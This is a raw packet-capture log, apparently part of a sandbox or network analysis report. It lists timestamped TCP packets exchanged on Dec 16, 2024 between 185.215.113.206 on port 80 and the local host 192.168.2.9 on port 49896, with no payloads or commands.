Dec 16, 2024 10:38:17.510482073 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.510529995 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.511224985 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.511272907 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.511310101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.511365891 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.512105942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.512155056 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.512212038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.512255907 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.512911081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.512958050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.513031960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.513078928 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.513765097 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.513813972 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.513819933 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.513854027 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.514630079 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.514674902 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.514739990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.514786959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.515461922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.515510082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.515584946 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.515631914 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.516319990 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.516365051 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.516402960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.516448975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.517265081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.517313957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.517376900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.517424107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.518048048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.518098116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.518107891 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.518151045 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.518852949 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.518897057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.518970013 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.519017935 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.519721985 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.519771099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.519815922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.519865036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.520549059 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.520598888 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.520636082 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.520679951 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.521384954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.521431923 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.521462917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.521508932 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.522236109 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.522284985 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.522356033 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.522404909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.523077011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.523125887 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.523220062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.523266077 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.523933887 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.523983002 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.524033070 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.524080992 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.524776936 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.524827003 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.524864912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.524907112 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.525710106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.525758028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.525762081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.525803089 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.526506901 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.526555061 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.526618958 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.526664019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.527318954 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.527378082 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.527417898 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.527466059 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.528179884 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.528239965 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.528325081 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.528373957 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.529038906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.529088974 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.529126883 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.529170036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.529828072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.529880047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.677783012 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.677858114 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.677997112 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.678133011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.678173065 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.678198099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.678231001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.678874969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.678929090 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.678967953 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.679016113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.679737091 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.679802895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.679900885 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.679954052 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.680577040 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.680665016 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.680679083 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.680726051 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.681425095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.681478977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.681535959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.681581020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.682274103 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.682326078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.682399988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.682442904 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.683125019 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.683176994 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.683216095 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.683259964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.683969975 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.684025049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.684077024 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.684118986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.684892893 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.684947014 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.684956074 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.684998035 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.685713053 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.685764074 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.685818911 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.685867071 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.686474085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.686526060 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.686605930 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.686711073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.687351942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.687405109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.687508106 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.687556028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.688179016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.688231945 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.688270092 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.688323975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.689022064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.689069986 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.689105988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.689147949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.689965963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.690021038 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.690089941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.690136909 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.690721035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.690772057 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.690850019 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.690893888 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.691561937 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.691608906 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.691652060 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.691694975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.692389011 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.692435980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.692528963 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.692574978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.693289042 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.693336964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.693469048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.693516970 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.694164038 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.694222927 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.694298983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.694341898 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.695005894 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.695055008 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.695128918 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.695173025 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.695805073 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.695853949 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.695884943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.695925951 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.696638107 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.696696043 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.696738005 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.696784019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.697489023 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.697546959 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.697591066 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.697633028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.698332071 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.698385000 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.698429108 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.698470116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.699177980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.699227095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.699271917 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.699340105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.700038910 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.700090885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.700133085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.700196981 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.700871944 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.700920105 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.700987101 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.701037884 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.701731920 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.701781988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.701806068 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.701847076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.702591896 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.702641964 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.702704906 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.702752113 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.703463078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.703521013 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.703550100 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.703589916 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.704304934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.704353094 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.704354048 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.704404116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.705117941 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.705171108 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.705240965 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.705287933 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.705961943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.706070900 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.706083059 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.706130028 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.706804037 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.706851006 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.706914902 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.706962109 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.707657099 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.707707882 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.707736969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.707781076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.708520889 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.708569050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.708595037 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.708640099 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.709345102 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.709397078 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.709434986 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.709481001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.710238934 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.710289001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.710421085 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.710467100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.711045980 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.711095095 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.711117983 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.711172104 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.711895943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.711956978 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.711994886 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.712069988 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.712826967 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.712878942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.712898970 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.712939024 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.713659048 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.713707924 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.713743925 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.713785887 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.714402914 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.714451075 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.714514017 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.714555979 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.715270042 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.715333939 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.715394020 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.715441942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.716133118 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.716187954 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.716249943 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.716298103 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.716938019 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.716986895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.717040062 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.717084885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.717814922 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.717858076 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.717917919 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.717961073 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.718647003 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.718694925 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.718733072 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.718777895 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.719492912 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.719542980 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.719584942 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.719629049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.720324993 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.720374107 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.720412016 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.720455885 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.721199989 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.721251011 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.721302032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.721345901 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.721971035 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.722017050 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.869966984 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.869986057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.870018959 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.870028019 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.870064020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.870064020 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.870244026 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.870286942 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.870372057 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.870409966 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.871097088 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.871153116 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.871248960 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.871294975 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.871886969 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.871933937 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.872004032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.872050047 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.872765064 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.872813940 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.872848988 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.872894049 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.873583078 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.873631001 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.873672009 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.873718977 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.874452114 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.874500036 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.874567032 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.874617100 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.875262976 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.875317097 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.875380039 CET	80	49896	185.215.113.206	192.168.2.9
Dec 16, 2024 10:38:17.875427961 CET	49896	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:38:17.876125097 CET	80	49896	185.215.113.206	192.168.2.9
